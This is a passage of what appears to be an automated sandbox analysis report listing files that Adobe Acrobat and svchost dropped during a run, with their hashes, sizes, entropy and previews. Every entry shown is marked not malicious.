SHA-512:	1E95D952E8AAF6A3F3BAEA3C1827E2C1CB8F17567DEBFF1E8BDEB4E555B64E66AB874034879A0F766BF4D17C2B4A5B2DF7B6240E79C7BFA5F93912A1468656DD
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x2d75c511, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221221866085192
Encrypted:	false
SSDEEP:	1536:5SB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:5aza/vMUM2Uvz7DO
MD5:	07F9FC51035CCE79DC40008CC248A2F1
SHA1:	1A59DE05C958D3298814B2EF52F10AB390E3029B
SHA-256:	ABBF2DBDAD8B3003B31680975D46EB8C57DCA1EDCB63C17738A88556BC762755
SHA-512:	3918A36789EF5EA409C0216A968AF55E9FADD2C34AA89CBB7C9F7DC9779C4E86F6C4EA30F26C0B90D575ABF8E231F7CC5E7112A1EDB468489BDE535C1951FBA5
Malicious:	false
Preview:	-u..... .......A.......X\...;...{......................0.!..........{A.;7...}E.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{......................................;7...}).................J.x.;7...}E..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07650336375673804
Encrypted:	false
SSDEEP:	3:t8KYepS6lbjjn13a//iS4OltallcVO/lnlZMxZNQl:CKzp7lbj53qK1Oewk
MD5:	CFA46907B6C5EECE7FADB1BA9440A6F0
SHA1:	5B0F3040E9AF859F9D01AE7A4099CE93F20E656D
SHA-256:	0892C5F1E7B0C914E626A3CD9C40D8DCA229D9DD2FF131326D39A5C7CFC9C23A
SHA-512:	C972DB20AB0BFD4A0A263D956F5A8DAD9885C8B9494B88D0A10A1FCAAF9B28A34F580DE9ABCC0DE3C4C611945B629C9F5DCB490904D3D66A40BCF529530E7A0D
Malicious:	false
Preview:	y........................................;...{..;7...}E......{A..............{A......{A..........{A]................J.x.;7...}E.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.141204393744165
Encrypted:	false
SSDEEP:	6:iO4q9Lnyq2Pwkn2nKuAl9OmbnIFUtSq9Lb1Zmwsq9LvFcjRkwOwkn2nKuAl9Omb5:77nyvYfHAahFUt1R//vujR5JfHAaSJ
MD5:	2A4A6ECA6F491637C009C3C4ED984C62
SHA1:	88CE232900A32971BE7518EB7576A3AAF43CEDB7
SHA-256:	329E605DD220B7402B22F909EF65CB9CAFC73EC767E3FEDABA25FC74808B04D6
SHA-512:	47A8BAA4AD7B265332D80D0C5E1BE9F1A7162A46B96AE4EC81E0323DCFD64E9AE884F7EE43BAF64C2B68F92532360B01B0B8B9B6D3F6BFB5C10A2DF506A21149
Malicious:	false
Preview:	2025/01/10-23:55:58.050 1ec4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:55:58.052 1ec4 Recovering log #3.2025/01/10-23:55:58.053 1ec4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.141204393744165
Encrypted:	false
SSDEEP:	6:iO4q9Lnyq2Pwkn2nKuAl9OmbnIFUtSq9Lb1Zmwsq9LvFcjRkwOwkn2nKuAl9Omb5:77nyvYfHAahFUt1R//vujR5JfHAaSJ
MD5:	2A4A6ECA6F491637C009C3C4ED984C62
SHA1:	88CE232900A32971BE7518EB7576A3AAF43CEDB7
SHA-256:	329E605DD220B7402B22F909EF65CB9CAFC73EC767E3FEDABA25FC74808B04D6
SHA-512:	47A8BAA4AD7B265332D80D0C5E1BE9F1A7162A46B96AE4EC81E0323DCFD64E9AE884F7EE43BAF64C2B68F92532360B01B0B8B9B6D3F6BFB5C10A2DF506A21149
Malicious:	false
Preview:	2025/01/10-23:55:58.050 1ec4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-23:55:58.052 1ec4 Recovering log #3.2025/01/10-23:55:58.053 1ec4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.156848790502842
Encrypted:	false
SSDEEP:	6:iO4q9L1CVq2Pwkn2nKuAl9Ombzo2jMGIFUtSq9LRngZmwsq9La/nIkwOwkn2nKuA:77IVvYfHAa8uFUt15g//KnI5JfHAa8RJ
MD5:	EF888CB95A472D966F04E8FF4EB2BCCF
SHA1:	2FCD7D5EEEE99FD385EFC47ABF14502E7D1E07D9
SHA-256:	89E2893D637FDFA8D494974DBA0D944777538FA27C235D3B2A786D9A6A8669B2
SHA-512:	827CAA79F8116E4F1084A43B3D2D368ADE9EAC1274564AC486D14E54CD583A6C2EFE2D5AEA061F4A2B2E4A83356D3E1B1C2A1C5A0DB858916325089114864DCB
Malicious:	false
Preview:	2025/01/10-23:55:58.098 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:55:58.099 1f80 Recovering log #3.2025/01/10-23:55:58.100 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.156848790502842
Encrypted:	false
SSDEEP:	6:iO4q9L1CVq2Pwkn2nKuAl9Ombzo2jMGIFUtSq9LRngZmwsq9La/nIkwOwkn2nKuA:77IVvYfHAa8uFUt15g//KnI5JfHAa8RJ
MD5:	EF888CB95A472D966F04E8FF4EB2BCCF
SHA1:	2FCD7D5EEEE99FD385EFC47ABF14502E7D1E07D9
SHA-256:	89E2893D637FDFA8D494974DBA0D944777538FA27C235D3B2A786D9A6A8669B2
SHA-512:	827CAA79F8116E4F1084A43B3D2D368ADE9EAC1274564AC486D14E54CD583A6C2EFE2D5AEA061F4A2B2E4A83356D3E1B1C2A1C5A0DB858916325089114864DCB
Malicious:	false
Preview:	2025/01/10-23:55:58.098 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-23:55:58.099 1f80 Recovering log #3.2025/01/10-23:55:58.100 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.967017429612333
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ndGsBdOg2Hsfcaq3QYiubInP7E4T3y:Y2sRdsEdLdMHsu3QYhbG7nby
MD5:	C6D7B20F6F30E2D1ED09E2FA74980071
SHA1:	B74EFD23DCED4A4D31CBA33A588E87221C486C65
SHA-256:	3BEA5E41C5C7F4D24C6ECD27E0B0378AE6E5B79B651BDFFD3D26C22F68845505
SHA-512:	FF86C4A03458C38B7759B97DD806AB48FD00239CEE8D4E0F8A2FA746139F8599FF6FF052C0224F22229DEC419A1032BA3C7843980A741AA6F00FB8C4B7100C43
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131370593642","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146777},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\d9c98e37-32d9-4726-97dc-055395045ef0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Unknown
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967017429612333
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq1ndGsBdOg2Hsfcaq3QYiubInP7E4T3y:Y2sRdsEdLdMHsu3QYhbG7nby
MD5:	C6D7B20F6F30E2D1ED09E2FA74980071
SHA1:	B74EFD23DCED4A4D31CBA33A588E87221C486C65
SHA-256:	3BEA5E41C5C7F4D24C6ECD27E0B0378AE6E5B79B651BDFFD3D26C22F68845505
SHA-512:	FF86C4A03458C38B7759B97DD806AB48FD00239CEE8D4E0F8A2FA746139F8599FF6FF052C0224F22229DEC419A1032BA3C7843980A741AA6F00FB8C4B7100C43
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381131370593642","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146777},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.251698583588199
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7G//d:etJCV4FiN/jTN/2r8Mta02fEhgO73goK
MD5:	38288A8A8C6DC7923A422B3FDD80F9F7
SHA1:	184A98D6C8B70398C470677AFA694BCD6C713F66
SHA-256:	CA256449F1C3AE00059EA50263CFEEC1AB0342E37E6EA06AAF13F63335414113
SHA-512:	89B01BDFE1A5E29DFB877921F8EC99ABD173663D813804C8C33D8B161B4CE22A2A38B0F936E5D6BA6733DBD051F8774D96802B75D7CE34A8AE2952DEA729AA85
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.153914510640657
Encrypted:	false
SSDEEP:	6:iO4q9LpkSVq2Pwkn2nKuAl9OmbzNMxIFUtSq9LkgZmwsq9LPuIkwOwkn2nKuAl9c:77hVvYfHAa8jFUt1kg//mI5JfHAa84J
MD5:	1498EE3EDD1F3890982918A2C2177E5A
SHA1:	3981CF96B6225A83AA899D3069F00606FF5E8BDA
SHA-256:	401A483A15F027899CFD76E2DB86070875E6A5E6BA3FDB71E93FB9763F4B4AA2
SHA-512:	943A243798FD2214573BAE8BECB28EAF71DBAE402F7F972357238A0476055A532F5E973769052FC36A4497559C4B055C706C44C3FA93E004326A7058836EED97
Malicious:	false
Preview:	2025/01/10-23:55:58.280 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:55:58.285 1f80 Recovering log #3.2025/01/10-23:55:58.287 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.153914510640657
Encrypted:	false
SSDEEP:	6:iO4q9LpkSVq2Pwkn2nKuAl9OmbzNMxIFUtSq9LkgZmwsq9LPuIkwOwkn2nKuAl9c:77hVvYfHAa8jFUt1kg//mI5JfHAa84J
MD5:	1498EE3EDD1F3890982918A2C2177E5A
SHA1:	3981CF96B6225A83AA899D3069F00606FF5E8BDA
SHA-256:	401A483A15F027899CFD76E2DB86070875E6A5E6BA3FDB71E93FB9763F4B4AA2
SHA-512:	943A243798FD2214573BAE8BECB28EAF71DBAE402F7F972357238A0476055A532F5E973769052FC36A4497559C4B055C706C44C3FA93E004326A7058836EED97
Malicious:	false
Preview:	2025/01/10-23:55:58.280 1f80 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-23:55:58.285 1f80 Recovering log #3.2025/01/10-23:55:58.287 1f80 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 17, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 17
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445066269153218
Encrypted:	false
SSDEEP:	384:Se7ci5tmiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:jps3OazzU89UTTgUL
MD5:	A10EDE286B5BFD376CAE5995DECD2389
SHA1:	2DC18E2C3FB125AF08FE7DA55132159499C4F040
SHA-256:	EA99937D531C7738D608C24B7A151D50E14F600ED14A8A395E9E3AE7A2B6892D
SHA-512:	7D30A1489073BA960C648AECEC4FFF6B2DB6517549C3088CFF4DEFA649F246AA965810FD6576B697847B13CBA88A28743AC9372A36CB56BE76F2D4687F7B104C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2150752916561456
Encrypted:	false
SSDEEP:	48:7Md7nCa/qvmFTIF3XmHjBoGGR+jMz+LhM:707nT/79IVXEBodRBke
MD5:	EF4241FD6B1545258212ACE9355181F5
SHA1:	5D79F7808C439A3EDA1922521F988D912D90404C
SHA-256:	74593CBEB950E949B5D176BD34147D35DE4165940B4CFD4FB8547C5B6517AE5A
SHA-512:	106BEEDD64B4D8AD5AFAFCDA3A5059C5C00B8C4526FB20F86552162F37F924ECBAE0041A4D5FB70C585CC2A422728F6AF9369245A5C66F59A2C7FF6D95D4F2E2
Malicious:	false
Preview:	.... .c.......9.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.724273122618336
Encrypted:	false
SSDEEP:	3:kkFkl/K1DtfllXlE/HT8kk1NNX8RolJuRdxLlGB9lQRYwpDdt:kK9leT83NMa8RdWBwRd
MD5:	2483171439C4F3D39658F154DB88B6A3
SHA1:	C4872C732D8BAB10ACC55B5E179FA44500783FA1
SHA-256:	1E87B71741669C6E4561628AC8EBA70AA21365F65BE928734532C8BDA9A79A6B
SHA-512:	7D3FE7839CBBAC918F64106BE6A21C0A6F3A853A4C00664838557A22F616153A137E3DADCA6FE4C326D43620D01279B4225A303FDDEF81339F31BA96037566E9
Malicious:	false
Preview:	p...... ........LoP".c..(....................................................... ..........W....\|m..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7724

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7724

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
